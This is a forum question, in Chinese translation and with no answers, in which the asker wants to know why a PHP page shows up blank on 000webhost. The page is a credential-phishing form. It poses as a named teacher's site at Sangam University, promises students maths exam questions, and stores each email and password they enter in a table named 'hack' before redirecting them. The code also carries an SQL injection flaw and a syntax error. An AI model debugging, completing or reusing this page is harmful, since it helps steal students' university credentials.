PHP文件无法在000webhost上运行

时间:2016-10-21 10:09:04

标签: php web-hosting

这是我的代码(对于格式错误的代码感到抱歉。我是网络开发的新手)

<html>
<head>
  <title> Sangam University Bhilwara - mid semester Maths B.Tech </title>
  <?php
  if (isset($_POST['login']))
  {
    $email = $_POST['email'];
    $pass = $_POST['pass'];
    $server='localhost';
    $dbuser = 'database username';
    $dbpass = 'database password';
    $dbname = 'database name';
  // Create connection
  $conn = new mysqli($server, $dbuser, $dbpass, $dbname)
  $sql = "INSERT INTO hack (email, password)
  VALUES ('$email','$pass')";
  if ($conn->query($sql) === TRUE)
  {
  header('Location: https://www.dileepsankhla.wordpress.com');
  }

  $conn->close();
  }
  ?>

</head>
<body>
<img src="logo.jpg">
<h1><b>Seema Kabra's Website</b></h1>
<h4>Students, please login from your university account and collect the important questions of maths mid semester exam</h4>
<form method="post" action="index.php">
 email:<br>
 <input type="text" name="email"><br>
 password:<br>
 <input type="password" name="pass"><br>
 <input type = "submit" name="login" value="login">
</form>
</body>
</html>

我已将此文件保存为public_html中的index.php,当我打开托管网站网址时,它会显示一个空白页面。为什么? 网址:https://sangamuniversityseema.000webhostapp.com/

0 个答案:

没有答案